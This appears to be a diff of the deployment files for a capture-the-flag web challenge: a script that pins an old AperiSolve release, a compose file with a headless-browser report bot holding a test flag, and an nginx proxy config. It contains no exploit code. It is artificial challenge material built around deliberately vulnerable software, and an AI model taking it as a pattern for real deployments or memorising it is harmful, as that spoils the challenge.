console.log(`Bot listening on port ${PORT}`);
});

View File

@@ -0,0 +1,6 @@
{
"dependencies": {
"express": "^5.2.1",
"puppeteer": "^24.40.0"
}
}

View File

@@ -0,0 +1,21 @@
#!/usr/bin/env sh
git clone https://github.com/Zeecka/AperiSolve.git
cd AperiSolve
# Pinning repo version to 3.0.7
git checkout d86416c97d508c14fdda12297fb510d6e7080b13
# Pinning container version
# Version 3.0.7: https://github.com/zeecka/AperiSolve/pkgs/container/aperisolve/versions
sed --in-place -e "s/image: ghcr.io\/zeecka\/aperisolve:latest/image: ghcr.io\/zeecka\/aperisolve@sha256:c7f1f827e04d6d98b99f86845fcca31c2516cf13869270542c10b2ff4a6d9cd1/g" compose.yml
# Just for your convencience:
sed --in-place -e "s/restart: always/restart: unless-stopped/g" compose.yml
cp .env.example .env
cd ..
docker compose up --build; docker compose down
# If your user is not in the docker group, then run:
# sudo docker compose up --build; sudo docker compose down

View File

@@ -0,0 +1,19 @@
services:
nginx:
build: ./nginx
ports:
- "8091:80"
depends_on:
- web
- bot
bot:
build: ./bot
# ports:
# - 3123:3123
environment:
- FLAG=kalmar{test_flag}
- PORT=3123
include:
- AperiSolve/compose.yml

View File

@@ -0,0 +1,4 @@
FROM nginx:alpine
# Just adding nginx so we can expose everything over one port. It's not part of the challenge
COPY nginx.conf /etc/nginx/nginx.conf

View File

@@ -0,0 +1,17 @@
events {
worker_connections 1024;
}
http {
server {
listen 80;
location /report {
proxy_pass http://bot:3123;
}
location / {
proxy_pass http://web:5000;
}
}
}